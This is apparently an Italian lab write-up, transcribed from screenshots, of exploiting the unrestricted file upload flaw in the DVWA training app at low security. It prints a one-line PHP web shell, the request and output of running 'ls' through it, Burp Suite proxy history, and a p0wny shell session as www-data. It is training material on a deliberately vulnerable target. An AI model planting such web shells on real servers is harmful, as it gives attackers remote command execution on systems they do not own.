

Qua vediamo che è andata bene l'upload del file shell.php.

Damn Vulnerable Web Ap

192.168.32.101/dvwa/vulnerabilities/upload/#ssssssssss

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: File Upload

Choose an image to upload:
Choose File No file chosen

Upload

.../..hackable/uploads/shell.php successfully uploaded!

More info

http://www.owasp.org/index.php/Unrestricted_File_Upload
<http://blogs.securiteam.com/index.php/archives/1268>
<http://www.acunetix.com/webhitesecurity/upload-forms-threat.htm>

Username: admin

Security Level: low

PHPIDS: disabled

Burp Suite Community Edition v2023.9.1 - Temporary Project

Dashboard

Target

Proxy

Intruder

Repeater

Collaborator

Sequencer

Decoder

Comparer

Logger

Settings

Site map

Issue definitions

Scope settings

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

Host

Method

URL

Params

Status code

Length

MIME ty

http://192.168.32.101

GET

/

200

1086

HTML

http://192.168.32.101

GET

/dvwa/dvwa/js/dvwaPag...

200

1049

script

http://192.168.32.101

GET

/dvwa/index.php

200

4895

HTML

http://192.168.32.101

GET

/dvwa/login.php

200

1599

HTML

http://192.168.32.101

GET

/dvwa/security.php

200

4497

HTML

http://192.168.32.101

GET

/dvwa/vulnerabilities/upl...

200

4826

HTML

http://192.168.32.101

POST

/dvwa/vulnerabilities/upl...

200

4868

HTML

http://192.168.32.101

POST

/dvwa/vulnerabilities/upl...

200

4868

HTML

http://192.168.32.101

POST

/dvwa/vulnerabilities/upl...

200

4891

HTML

http://192.168.32.101

GET

/dvwa/

302

445

Request

Response

Inspector

/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

1 HTTP/1.1 200 OK

2 Date: Mon, 08 Jan 2024 12:05:50 GMT

3 Server: Apache/2.2.8 (Ubuntu) DAV/2 (Ubuntu) PHP/5.2.4-2ubuntu5.10

4 X-Powered-By: PHP/5.2.4-2ubuntu5.10

5 Pragma: no-cache

6 Cache-Control: no-cache, must-revalidate

7 Expires: Tue, 23 Jun 2009 12:00:00 GMT

8 Content-Length: 4558

9 Connection: close

10 Content-Type: image/webp

0 highlights

Request attributes

Request body parameters

Request cookies

Request headers

Response headers

Dentro il file shell2.php, ho inserito un semplice codice:

```
<?php system($_REQUEST["cmd"]); ?>
```

Qua sono riuscito a controllare i contenuti del directory scelto.

192.168.32.101/dvwa/hack x +

Not secure | 192.168.32.101/dvwa/hackable/uploads/shell2.php?cmd=ls

dvwa_email.png shell.php shell2.php

Burp Suite Community Edition v2023.9.1 - Temporary Project

Dashboard Target Proxy Intruder Repeater View Help

Extensions Learn

Intercept HTTPHistory WebSockets history Proxy settings

Filter: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension
81	http://192.168.32.101	GET	/dvwa/hackable/uploads/shell2.php?cm...	✓		200	230	text	php
80	http://192.168.32.101	GET	/dvwa/hackable/uploads/shell2.php			200	383	HTML	php
79	http://192.168.32.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4892	HTML	Damn Vul
78	http://192.168.32.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4865	HTML	Damn Vul
77	http://192.168.32.101	GET	/dvwa/hackable/uploads/shell.php			200	382	HTML	php
76	http://192.168.32.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4891	HTML	Damn Vul
75	http://192.168.32.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4891	HTML	Damn Vul
74	http://192.168.32.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4865	HTML	Damn Vul
73	http://192.168.32.101	GET	/dvwa/hackable/uploads/shell.php?cdm...	✓		200	382	HTML	php
72	http://192.168.32.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4891	HTML	Damn Vul
71	https://passwordleakcheck-pa...	POST	/v/leaks.lookupSingle	✓					
70	http://192.168.32.101	GET	/dvwa/vulnerabilities/upload/			200	4826	HTML	Damn Vul

Request

Pretty Raw Hex

```
1 GET /dvwa/hackable/uploads/shell2.php?cmd=ls HTTP/1.1
2 Host: 192.168.32.101
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: security=low; PHPSESSID=d2f0f02a5c50538e854ff33fb333a3a2
9 Connection: close
10
11
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Mon, 08 Jan 2024 14:31:34 GMT
3 Server: Apache/2.2.8 (Ubuntu) DAV/2
4 X-Powered-By: PHP/5.2.4-2ubuntu5.10
5 Content-Length: 36
6 Connection: close
7 Content-Type: text/html
8
9 dvwa_email.png
10 shell.php
11 shell2.php
12
```

Inspector

Request attributes 2

Request query parameters 1

Request cookies 2

Request headers 8

Response headers 6

Qua abbiamo
entrato
utilizzando un
shell php molto
più avanzato e
molto più capace

p0wny@shell:~#

Not secure | 192.168.32.101/dvwa/hackable/uploads/shell.php

www-data@Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686_.../hackable/uploads# ls
dvwa_email.png
shell.php
shell12.php

Burp Suite Community Edition v2023.9.1 - Temporary Project

Dashboard Target **Proxy** Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Settings

Intercept **HTTP history** WebSockets history Proxy settings

Filter: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title
133	https://sb-ssl.google.com	POST	/safebrowsing/clientreport/download/k...	✓						
132	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	230	JSON	php	
131	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	295	JSON	php	
130	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	255	JSON	php	
129	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	6689	JSON	php	
128	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	2057	JSON	php	
127	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	13042	JSON	php	
126	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	247	JSON	php	
125	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	642	HTML	php	
124	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	352	JSON	php	
123	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	352	JSON	php	
122	http://192.168.32.101	POST	/dvwa/hackable/uploads/shell.php?feat...	✓		200	235	JSON	php	

Request

Pretty **Raw** Hex

```
1 GET /dvwa/hackable/uploads/shell12.php?cmd=
2 ls HTTP/1.1
3 Host: 192.168.32.101
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0;
```

Response

Pretty **Raw** Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Mon, 08 Jan 2024 14:31:34 GMT
3 Server: Apache/2.2.8 (Ubuntu) DAV/2
4 X-Powered-By: PHP/5.2.4-2ubuntu5.10
5 Content-Length: 36
```

Inspector

Request attributes 2

Request query parameters 1

Request cookies 2